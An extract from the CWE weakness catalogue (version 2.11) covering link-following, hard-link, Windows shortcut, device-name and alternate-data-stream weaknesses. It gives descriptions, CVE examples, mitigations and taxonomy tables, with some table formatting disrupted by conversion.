<td>Text editor follows symbolic links when creating a rescue copy during an abnormal exit, which allows local users to overwrite the files of other users.</td>
</tr>
<tr>
<td>CVE-2001-1042</td>
<td>FTP server allows remote attackers to read arbitrary files and directories by uploading a .lnk (link) file that points to the target file.</td>
</tr>
</tbody>
</table>
**CWE-59: Improper Link Resolution Before File Access ("Link Following")**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2001-1043</td>
<td>FTP server allows remote attackers to read arbitrary files and directories by uploading a .lnk (link) file that points to the target file.</td>
</tr>
<tr>
<td>CVE-2001-1386</td>
<td>&quot; .LNK:&quot; - .LNK with trailing dot</td>
</tr>
<tr>
<td>CVE-2001-1494</td>
<td>Hard link attack, file overwrite; interesting because program checks against soft links</td>
</tr>
<tr>
<td>CVE-2002-0725</td>
<td>File system allows local attackers to hide file usage activities via a hard link to the target file, which causes the link to be recorded in the audit trail instead of the target file.</td>
</tr>
<tr>
<td>CVE-2002-0793</td>
<td>Hard link and possibly symbolic link following vulnerabilities in embedded operating system allow local users to overwrite arbitrary files.</td>
</tr>
<tr>
<td>CVE-2003-0517</td>
<td>Symlink attack allows local users to overwrite files.</td>
</tr>
<tr>
<td>CVE-2003-0578</td>
<td>Server creates hard links and unlinks files as root, which allows local users to gain privileges by deleting and overwriting arbitrary files.</td>
</tr>
<tr>
<td>CVE-2003-0844</td>
<td>Web server plugin allows local users to overwrite arbitrary files via a symlink attack on predictable temporary filenames.</td>
</tr>
<tr>
<td>CVE-2003-1233</td>
<td>Rootkits can bypass file access restrictions to Windows kernel directories using NtCreateSymbolicLinkObject function to create symbolic link</td>
</tr>
<tr>
<td>CVE-2004-0217</td>
<td>Antivirus update allows local users to create or append to arbitrary files via a symlink attack on a logfile.</td>
</tr>
<tr>
<td>CVE-2004-0689</td>
<td>Window manager does not properly handle when certain symbolic links point to &quot;stale&quot; locations, which could allow local users to create or truncate arbitrary files.</td>
</tr>
<tr>
<td>CVE-2004-1603</td>
<td>Web hosting manager follows hard links, which allows local users to read or modify arbitrary files.</td>
</tr>
<tr>
<td>CVE-2004-1901</td>
<td>Package listing system allows local users to overwrite arbitrary files via a hard link attack on the lockfiles.</td>
</tr>
<tr>
<td>CVE-2005-0587</td>
<td>Browser allows remote malicious web sites to overwrite arbitrary files by tricking the user into downloading a .LNK (link) file twice, which overwrites the file that was referenced in the first .LNK file.</td>
</tr>
<tr>
<td>CVE-2005-0824</td>
<td>Signal causes a dump that follows symlinks.</td>
</tr>
<tr>
<td>CVE-2005-1111</td>
<td>Hard link race condition</td>
</tr>
<tr>
<td>CVE-2005-1879</td>
<td>Second-order symlink vulnerabilities</td>
</tr>
<tr>
<td>CVE-2005-1880</td>
<td>Second-order symlink vulnerabilities</td>
</tr>
<tr>
<td>CVE-2005-1916</td>
<td>Symlink in Python program</td>
</tr>
</tbody>
</table>

**Potential Mitigations**

**Architecture and Design**

**Separation of Privilege**

Follow the principle of least privilege when assigning access rights to entities in a software system.

Denying access to a file can prevent an attacker from replacing that file with a link to a sensitive file. Ensure good compartmentalization in the system to provide protected areas that can be trusted.

**Background Details**

Soft links are a UNIX term that is synonymous with simple shortcuts on windows based platforms.

**Weakness Ordinalities**

**Resultant** (where the weakness is typically related to the presence of some other weaknesses)

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>21</td>
<td>Pathname Traversal and Equivalence Errors</td>
<td>699  29</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>632</td>
<td>Weaknesses that Affect Files or Directories</td>
<td>631 983</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>706</td>
<td>Use of Incorrectly-Resolved Name or Reference</td>
<td>1000 1109</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>743</td>
<td>CERT C Secure Coding Section 09 - Input Output (FIO)</td>
<td>734 1137</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>748</td>
<td>CERT C Secure Coding Section 50 - POSIX (POS)</td>
<td>734 1140</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>808</td>
<td>2010 Top 25 - Weaknesses On the Cusp</td>
<td>800 1247</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>877</td>
<td>CERT C++ Secure Coding Section 09 - Input Output (FIO)</td>
<td>868 1319</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>980</td>
<td>SFP Secondary Cluster: Link in Resource Name Resolution</td>
<td>888 1388</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>60</td>
<td>UNIX Path Link Problems</td>
<td>699  94</td>
</tr>
</tbody>
</table>
CWE Version 2.11
CWE-60: UNIX Path Link Problems

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td>61</td>
<td>UNIX Symbolic Link (Symlink) Following</td>
<td>1000</td>
<td>95</td>
</tr>
<tr>
<td>ParentOf</td>
<td>62</td>
<td>UNIX Hard Link</td>
<td>1000</td>
<td>96</td>
</tr>
<tr>
<td>ParentOf</td>
<td>63</td>
<td>Windows Path Link Problems</td>
<td>699</td>
<td>98</td>
</tr>
<tr>
<td>ParentOf</td>
<td>64</td>
<td>Windows Shortcut Following (.LNK)</td>
<td>1000</td>
<td>98</td>
</tr>
<tr>
<td>ParentOf</td>
<td>65</td>
<td>Windows Hard Link</td>
<td>1000</td>
<td>100</td>
</tr>
<tr>
<td>CanFollow</td>
<td>73</td>
<td>External Control of File Name or Path</td>
<td>1000</td>
<td>108</td>
</tr>
<tr>
<td>CanFollow</td>
<td>363</td>
<td>Race Condition Enabling Link Following</td>
<td>1000</td>
<td>635</td>
</tr>
<tr>
<td>MemberOf</td>
<td>635</td>
<td>Weaknesses Used by NVD</td>
<td>635</td>
<td>985</td>
</tr>
<tr>
<td>MemberOf</td>
<td>884</td>
<td>CWE Cross-section</td>
<td>884</td>
<td>1323</td>
</tr>
</tbody>
</table>

Relationship Notes
Link following vulnerabilities are Multi-factor Vulnerabilities (MFV). They are the combination of multiple elements: file or directory permissions, filename predictability, race conditions, and in some cases, a design limitation in which there is no mechanism for performing atomic file creation operations.
Some potential factors are race conditions, permissions, and predictability.

Research Gaps
UNIX hard links, and Windows hard/soft links are under-studied and under-reported.

Affected Resources
• File/Directory

Functional Areas
• File processing, temporary files

Causal Nature
Explicit (an explicit weakness resulting from behavior of the developer)

Taxonomy Mappings
<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td>Link Following</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>FIO02-C</td>
<td>Canonicalize path names originating from untrusted sources</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>POS01-C</td>
<td>Check for the existence of links when dealing with files</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>FIO02-CPP</td>
<td>Canonicalize path names originating from untrusted sources</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP18</td>
<td>Link in resource name resolution</td>
</tr>
</tbody>
</table>

Related Attack Patterns
<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>17</td>
<td>Accessing, Modifying or Executing Executable Files</td>
</tr>
<tr>
<td>35</td>
<td>Leverage Executable Code in Non-Executable Files</td>
</tr>
<tr>
<td>76</td>
<td>Manipulating Web Input to File System Calls</td>
</tr>
<tr>
<td>132</td>
<td>Symlink Attack</td>
</tr>
</tbody>
</table>

References

CWE-60: UNIX Path Link Problems
Category ID: 60 (Category) Status: Draft

Description
Summary
Weaknesses in this category are related to improper handling of links within Unix-based operating systems.

Applicable Platforms
Languages
• All

Relationships
CWE-61: UNIX Symbolic Link (Symlink) Following

Description

Summary

The software, when opening a file or directory, does not sufficiently account for when the file is a symbolic link that resolves to a target outside of the intended control sphere. This could allow an attacker to cause the software to operate on unauthorized files.

Extended Description

A software system that allows UNIX symbolic links (symlink) as part of paths whether in internal code or through user input can allow an attacker to spoof the symbolic link and traverse the file system to unintended locations or access arbitrary files. The symbolic link can permit an attacker to read/write/corrupt a file that they originally did not have permissions to access.

Alternate Terms

Symlink following
symlink vulnerability

Time of Introduction

• Implementation

Applicable Platforms

Languages

• All

Modes of Introduction

These are typically reported for temporary files or privileged programs.

Common Consequences

Confidentiality
Integrity
Read files or directories
Modify files or directories

Likelihood of Exploit

High to Very High

Observed Examples

Reference | Description
---|---
CVE-1999-1386 | Some versions of Perl follows symbolic links when running with the -e option, which allows local users to overwrite arbitrary files via a symlink attack.
CVE-2000-0972 | Setuid product allows file reading by replacing a file being edited with a symlink to the targeted file, leaking the result in error messages when parsing fails.
CVE-2000-1178 | Text editor follows symbolic links when creating a rescue copy during an abnormal exit, which allows local users to overwrite the files of other users.
CVE-2003-0517 | Symlink attack allows local users to overwrite files.
CVE-2004-0217 | Antivirus update allows local users to create or append to arbitrary files via a symlink attack on a log file.
CVE-2004-0689 | Possible interesting example
CVE-2005-0824 | Signal causes a dump that follows symlinks.
CVE-2005-1879 | Second-order symlink vulnerabilities
CWE-62: UNIX Hard Link

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2005-1880</td>
<td>Second-order symlink vulnerabilities</td>
</tr>
<tr>
<td>CVE-2005-1916</td>
<td>Symlink in Python program</td>
</tr>
</tbody>
</table>

Potential Mitigations

Implementation
Symbolic link attacks often occur when a program creates a tmp directory that stores files/links. Access to the directory should be restricted to the program as to prevent attackers from manipulating the files.

Architecture and Design

Separation of Privilege
Follow the principle of least privilege when assigning access rights to entities in a software system.
Denying access to a file can prevent an attacker from replacing that file with a link to a sensitive file. Ensure good compartmentalization in the system to provide protected areas that can be trusted.

Weakness Ordinalities

Resultant (where the weakness is typically related to the presence of some other weaknesses)

<table>
<thead>
<tr>
<th>Relationships</th>
</tr>
</thead>
<tbody>
<tr>
<td>Nature</td>
</tr>
<tr>
<td>ChildOf</td>
</tr>
<tr>
<td>ChildOf</td>
</tr>
<tr>
<td>Requires</td>
</tr>
<tr>
<td>Requires</td>
</tr>
<tr>
<td>Requires</td>
</tr>
<tr>
<td>Requires</td>
</tr>
<tr>
<td>Requires</td>
</tr>
</tbody>
</table>

Research Gaps
Symlink vulnerabilities are regularly found in C and shell programs, but all programming languages can have this problem. Even shell programs are probably under-reported.
"Second-order symlink vulnerabilities" may exist in programs that invoke other programs that follow symlinks. They are rarely reported but are likely to be fairly common when process invocation is used. Reference: [Christey2005]

Causal Nature

Explicit (an explicit weakness resulting from behavior of the developer)

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>UNIX symbolic link following</td>
</tr>
</tbody>
</table>

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
<th>(CAPEC Version 2.10)</th>
</tr>
</thead>
<tbody>
<tr>
<td>27</td>
<td>Leveraging Race Conditions via Symbolic Links</td>
<td></td>
</tr>
</tbody>
</table>

References


CWE-62: UNIX Hard Link

Weakness ID: 62 (Weakness Variant)  Status: Incomplete
Description

Summary
The software, when opening a file or directory, does not sufficiently account for when the name is associated with a hard link to a target that is outside of the intended control sphere. This could allow an attacker to cause the software to operate on unauthorized files.

Extended Description
Failure for a system to check for hard links can result in vulnerability to different types of attacks. For example, an attacker can escalate their privileges if a file used by a privileged program is replaced with a hard link to a sensitive file (e.g., /etc/passwd). When the process opens the file, the attacker can assume the privileges of that process.

Time of Introduction
• Implementation

Applicable Platforms

Languages
• All

Operating Systems
• UNIX

Common Consequences

Confidentiality
Read files or directories
Modify files or directories

Integrity

Observed Examples

Reference | Description
--- | ---
BUGTRAQ:20030203 | OpenBSD chpass/chfn/chsh file content leak
ASA-0001 | 
CVE-1999-0783 | Operating system allows local users to conduct a denial of service by creating a hard link from a device special file to a file on an NFS file system.
CVE-2001-1494 | Hard link attack, file overwrite; interesting because program checks against soft links
CVE-2002-0793 | Hard link and possibly symbolic link following vulnerabilities in embedded operating system allow local users to overwrite arbitrary files.
CVE-2003-0578 | Server creates hard links and unlinks files as root, which allows local users to gain privileges by deleting and overwriting arbitrary files.
CVE-2004-1603 | Web hosting manager follows hard links, which allows local users to read or modify arbitrary files.
CVE-2004-1901 | Package listing system allows local users to overwrite arbitrary files via a hard link attack on the lockfiles.
CVE-2005-1111 | Hard link race condition

Potential Mitigations

Architecture and Design
Separation of Privilege
Follow the principle of least privilege when assigning access rights to entities in a software system.
Denying access to a file can prevent an attacker from replacing that file with a link to a sensitive file. Ensure good compartmentalization in the system to provide protected areas that can be trusted.

Weakness Ordinalities

Resultant (where the weakness is typically related to the presence of some other weaknesses)

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>59</td>
<td>Improper Link Resolution Before File Access ('Link Following')</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>60</td>
<td>UNIX Path Link Problems</td>
<td>631</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>699</td>
<td></td>
<td></td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>743</td>
<td>CERT C Secure Coding Section 09 - Input Output (FIO)</td>
<td>734</td>
</tr>
</tbody>
</table>
CWE-63: Windows Path Link Problems

Research Gaps
Under-studied. It is likely that programs that check for symbolic links could be vulnerable to hard links.

Causal Nature
Explicit (an explicit weakness resulting from behavior of the developer)

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td>UNIX hard link</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>FIO05-C</td>
<td>Identify files using multiple file attributes</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>FIO05-CPP</td>
<td>Identify files using multiple file attributes</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP18</td>
<td>Link in resource name resolution</td>
</tr>
</tbody>
</table>

References

CWE-64: Windows Shortcut Following (.LNK)

Weakness ID: 64 (Weakness Variant) Status: Incomplete

Description

Summary
The software, when opening a file or directory, does not sufficiently handle when the file is a Windows shortcut (.LNK) whose target is outside of the intended control sphere. This could allow an attacker to cause the software to operate on unauthorized files.

Extended Description
The shortcut (file with the .lnk extension) can permit an attacker to read/write a file that they originally did not have permissions to access.

Alternate Terms
Windows symbolic link following
symlink

**Time of Introduction**
- Operation

**Applicable Platforms**

**Languages**
- All

**Operating Systems**
- Windows

**Common Consequences**
- Confidentiality
- Integrity
- Read files or directories
- Modify files or directories

**Likelihood of Exploit**
- Medium to High

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2000-0342</td>
<td>Mail client allows remote attackers to bypass the user warning for executable attachments such as .exe, .com, and .bat by using a .lnk file that refers to the attachment, aka &quot;Stealth Attachment.&quot;</td>
</tr>
<tr>
<td>CVE-2001-1042</td>
<td>FTP server allows remote attackers to read arbitrary files and directories by uploading a .lnk (link) file that points to the target file.</td>
</tr>
<tr>
<td>CVE-2001-1043</td>
<td>FTP server allows remote attackers to read arbitrary files and directories by uploading a .lnk (link) file that points to the target file.</td>
</tr>
<tr>
<td>CVE-2001-1386</td>
<td>&quot; .LNK.&quot; - .LNK with trailing dot</td>
</tr>
<tr>
<td>CVE-2003-1233</td>
<td>Rootkits can bypass file access restrictions to Windows kernel directories using NtCreateSymbolicLinkObject function to create symbolic link</td>
</tr>
<tr>
<td>CVE-2005-0587</td>
<td>Browser allows remote malicious web sites to overwrite arbitrary files by tricking the user into downloading a .LNK (link) file twice, which overwrites the file that was referenced in the first .LNK file.</td>
</tr>
</tbody>
</table>

**Potential Mitigations**

**Architecture and Design**

**Separation of Privilege**
- Follow the principle of least privilege when assigning access rights to entities in a software system.
- Denying access to a file can prevent an attacker from replacing that file with a link to a sensitive file. Ensure good compartmentalization in the system to provide protected areas that can be trusted.

**Weakness Ordinalities**

**Resultant (where the weakness is typically related to the presence of some other weaknesses)**

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>Ø</td>
<td>59</td>
<td>Improper Link Resolution Before File Access ('Link Following')</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>63</td>
<td>Windows Path Link Problems</td>
<td>631</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>743</td>
<td>CERT C Secure Coding Section 09 - Input Output (FIO)</td>
<td>734</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>877</td>
<td>CERT C++ Secure Coding Section 09 - Input Output (FIO)</td>
<td>868</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>980</td>
<td>SFP Secondary Cluster: Link in Resource Name Resolution</td>
<td>888</td>
</tr>
</tbody>
</table>

**Research Gaps**

Under-studied. Windows .LNK files are more "portable" than Unix symlinks and have been used in remote exploits. Some Windows API's will access LNK's as if they are regular files, so one would expect that they would be reported more frequently.

**Causal Nature**

**Explicit (an explicit weakness resulting from behavior of the developer)**
Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td>Windows Shortcut Following (.LNK)</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>F1005-C</td>
<td>Identify files using multiple file attributes</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>F1005-CPP</td>
<td>Identify files using multiple file attributes</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP18</td>
<td>Link in resource name resolution</td>
</tr>
</tbody>
</table>

CWE-65: Windows Hard Link

Weakness ID: 65 (Weakness Variant) Status: Incomplete

Description

Summary
The software, when opening a file or directory, does not sufficiently handle when the name is associated with a hard link to a target that is outside of the intended control sphere. This could allow an attacker to cause the software to operate on unauthorized files.

Extended Description
Failure for a system to check for hard links can result in vulnerability to different types of attacks. For example, an attacker can escalate their privileges if a file used by a privileged program is replaced with a hard link to a sensitive file (e.g. AUTOEXEC.BAT). When the process opens the file, the attacker can assume the privileges of that process, or prevent the program from accurately processing data.

Time of Introduction
- Implementation
- Operation

Applicable Platforms

Languages
- All

Operating Systems
- Windows

Common Consequences
Confidentiality
Integrity
Read files or directories
Modify files or directories

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2002-0725</td>
<td>File system allows local attackers to hide file usage activities via a hard link to the target file, which causes the link to be recorded in the audit trail instead of the target file.</td>
</tr>
<tr>
<td>CVE-2003-0844</td>
<td>Web server plugin allows local users to overwrite arbitrary files via a symlink attack on predictable temporary filenames.</td>
</tr>
</tbody>
</table>

Potential Mitigations

Architecture and Design

Separation of Privilege
Follow the principle of least privilege when assigning access rights to entities in a software system.
Denying access to a file can prevent an attacker from replacing that file with a link to a sensitive file. Ensure good compartmentalization in the system to provide protected areas that can be trusted.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>59</td>
<td>Improper Link Resolution Before File Access (‘Link Following’)</td>
<td>1000 91</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>63</td>
<td>Windows Path Link Problems</td>
<td>699 98</td>
</tr>
</tbody>
</table>
CWE-66: Improper Handling of File Names that Identify Virtual Resources

Weakness ID: 66 (Weakness Base)  Status: Draft

Description

Summary
The product does not handle or incorrectly handles a file name that identifies a "virtual" resource that is not directly specified within the directory that is associated with the file name, causing the product to perform file-based operations on a resource that is not a file.

Extended Description
Virtual file names are represented like normal file names, but they are effectively aliases for other resources that do not behave like normal files. Depending on their functionality, they could be alternate entities. They are not necessarily listed in directories.

Time of Introduction
- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages
- All

Common Consequences
Other

Detection Methods

Automated Static Analysis - Binary / Bytecode
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
  - Bytecode Weakness Analysis - including disassembler + source code weakness analysis

Manual Static Analysis - Binary / Bytecode
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
  - Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies
Dynamic Analysis with automated results interpretation
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
- Web Application Scanner
- Web Services Scanner
- Database Scanners

Dynamic Analysis with manual results interpretation
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
- Fuzz Tester
- Framework-based Fuzzer

Manual Static Analysis - Source Code
SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
- Focused Manual Spotcheck - Focused manual analysis of source
- Manual Source Code Review (not inspections)

Automated Static Analysis - Source Code
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
- Source code Weakness Analyzer
- Context-configured Source Code Weakness Analyzer

Architecture / Design Review
SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
- Formal Methods / Correct-By-Construction

Affected Resources
- File/Directory

Functional Areas
- File processing

Taxonomy Mappings
CWE-67: Improper Handling of Windows Device Names

**Weakness ID:** 67 *(Weakness Variant)*  
**Status:** Incomplete

**Description**

**Summary**

The software constructs pathnames from user input, but it does not handle or incorrectly handles a pathname containing a Windows device name such as AUX or CON. This typically leads to denial of service or an information exposure when the application attempts to process the pathname as a regular file.

**Extended Description**

Not properly handling virtual filenames (e.g. AUX, CON, PRN, COM1, LPT1) can result in different types of vulnerabilities. In some cases an attacker can request a device via injection of a virtual filename in a URL, which may cause an error that leads to a denial of service or an error page that reveals sensitive information. A software system that allows device names to bypass filtering runs the risk of an attacker injecting malicious code in a file with the name of a device.

**Time of Introduction**

- Architecture and Design
- Implementation
- Operation

**Applicable Platforms**

**Languages**

- All

**Operating Systems**

- Windows

**Common Consequences**

- Availability
- Confidentiality
- Other
- DoS: crash / exit / restart
- Read application data
- Other

**Likelihood of Exploit**

High to Very High

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2000-0168</td>
<td>Microsoft Windows 9x operating systems allow an attacker to cause a denial of service via a pathname that includes file device names, aka the &quot;DOS Device in Path Name&quot; vulnerability.</td>
</tr>
<tr>
<td>CVE-2001-0492</td>
<td>Server allows remote attackers to determine the physical path of the server via a URL containing MS-DOS device names.</td>
</tr>
<tr>
<td>CVE-2001-0493</td>
<td>Server allows remote attackers to cause a denial of service via a URL that contains an MS-DOS device name.</td>
</tr>
<tr>
<td>CVE-2001-0558</td>
<td>Server allows a remote attacker to create a denial of service via a URL request which includes a MS-DOS device name.</td>
</tr>
<tr>
<td>CVE-2002-0106</td>
<td>Server allows remote attackers to cause a denial of service via a series of requests to .JSP files that contain an MS-DOS device name.</td>
</tr>
<tr>
<td>CVE-2002-0200</td>
<td>Server allows remote attackers to cause a denial of service via an HTTP request for an MS-DOS device name.</td>
</tr>
<tr>
<td>CVE-2002-1052</td>
<td>Product allows remote attackers to use MS-DOS device names in HTTP requests to cause a denial of service or obtain the physical path of the server.</td>
</tr>
<tr>
<td>CVE-2004-0552</td>
<td>Product does not properly handle files whose names contain reserved MS-DOS device names, which can allow malicious code to bypass detection when it is installed, copied, or executed.</td>
</tr>
</tbody>
</table>
CWE Version 2.11
CWE-68: Windows Virtual File Problems

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2005-2195</td>
<td>Server allows remote attackers to cause a denial of service (application crash) via a URL with a filename containing a .cgi extension and an MS-DOS device name.</td>
</tr>
</tbody>
</table>

**Potential Mitigations**

**Implementation**

Be familiar with the device names in the operating system where your system is deployed. Check input for these device names.

**Background Details**

Historically, there was a bug in the Windows operating system that caused a blue screen of death. Even after that issue was fixed DOS device names continue to be a factor.

**Weakness Ordinalities**

**Resultant** *(where the weakness is typically related to the presence of some other weaknesses)*

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>66</td>
<td>Improper Handling of File Names that Identify Virtual Resources</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>68</td>
<td>Windows Virtual File Problems</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>632</td>
<td>Weaknesses that Affect Files or Directories</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>743</td>
<td>CERT C Secure Coding Section 09 - Input Output (FIO)</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>857</td>
<td>CERT Java Secure Coding Section 12 - Input Output (FIO)</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>877</td>
<td>CERT C++ Secure Coding Section 09 - Input Output (FIO)</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>981</td>
<td>SFP Secondary Cluster: Path Traversal</td>
</tr>
</tbody>
</table>

**Affected Resources**

- File/Directory

**Causal Nature**

Explicit *(an explicit weakness resulting from behavior of the developer)*

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td>Windows MS-DOS device names</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>FIO32-C</td>
<td>Do not perform operations on devices that are only appropriate for files</td>
</tr>
<tr>
<td>CERT Java Secure Coding</td>
<td>FIO00-J</td>
<td>Do not operate on files in shared directories</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>FIO32-CPP</td>
<td>Do not perform operations on devices that are only appropriate for files</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP16</td>
<td>Path Traversal</td>
</tr>
</tbody>
</table>

**References**


---

**CWE-68: Windows Virtual File Problems**

**Category ID:** 68 *(Category)*  
**Status:** Draft

**Description**

**Summary**

Weaknesses in this category are related to improper handling of virtual files within Windows-based operating systems.

**Applicable Platforms**

**Languages**

- All

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>66</td>
<td>Improper Handling of File Names that Identify Virtual Resources</td>
</tr>
</tbody>
</table>

---
CWE-69: Improper Handling of Windows ::DATA Alternate Data Stream

**Nature**  |  **Type**  |  **ID**  |  **Name**  |  **Status**  |  **Page**
---|---|---|---|---|---
ChildOf | | 632 | Weaknesses that Affect Files or Directories | | 631 983
ParentOf | | 67 | Improper Handling of Windows Device Names | | 631 103
ParentOf | | 69 | Improper Handling of Windows ::DATA Alternate Data Stream | | 631 699

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>Windows Virtual File problems</td>
</tr>
</tbody>
</table>

**CWE-69: Improper Handling of Windows ::DATA Alternate Data Stream**

**Weakness ID:** 69 *(Weakness Variant)*

**Status:** Incomplete

**Description**

**Summary**
The software does not properly prevent access to, or detect usage of, alternate data streams (ADS).

**Extended Description**
An attacker can use an ADS to hide information about a file (e.g. size, the name of the process) from a system or file browser tools such as Windows Explorer and 'dir' at the command line utility. Alternately, the attacker might be able to bypass intended access restrictions for the associated data fork.

**Time of Introduction**
- Architecture and Design
- Implementation

**Applicable Platforms**

**Languages**
- All

**Operating Systems**
- Windows

**Common Consequences**
- Access Control
- Non-Repudiation
- Other
- Bypass protection mechanism
- Hide activities
- Other

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-1999-0278</td>
<td>In IIS, remote attackers can obtain source code for ASP files by appending &quot;::$DATA&quot; to the URL.</td>
</tr>
<tr>
<td>CVE-2000-0927</td>
<td>Product does not properly record file sizes if they are stored in alternative data streams, which allows users to bypass quota restrictions.</td>
</tr>
</tbody>
</table>

**Potential Mitigations**

**Testing**
Software tools are capable of finding ADSs on your system.

**Implementation**
Ensure that the source code correctly parses the filename to read or write to the correct stream.

**Background Details**
Alternate data streams (ADS) were first implemented in the Windows NT operating system to provide compatibility between NTFS and the Macintosh Hierarchical File System (HFS). In HFS, data and resource forks are used to store information about a file. The data fork provides information about the contents of the file while the resource fork stores metadata such as file type.
Relationships

<table>
<thead>
<tr>
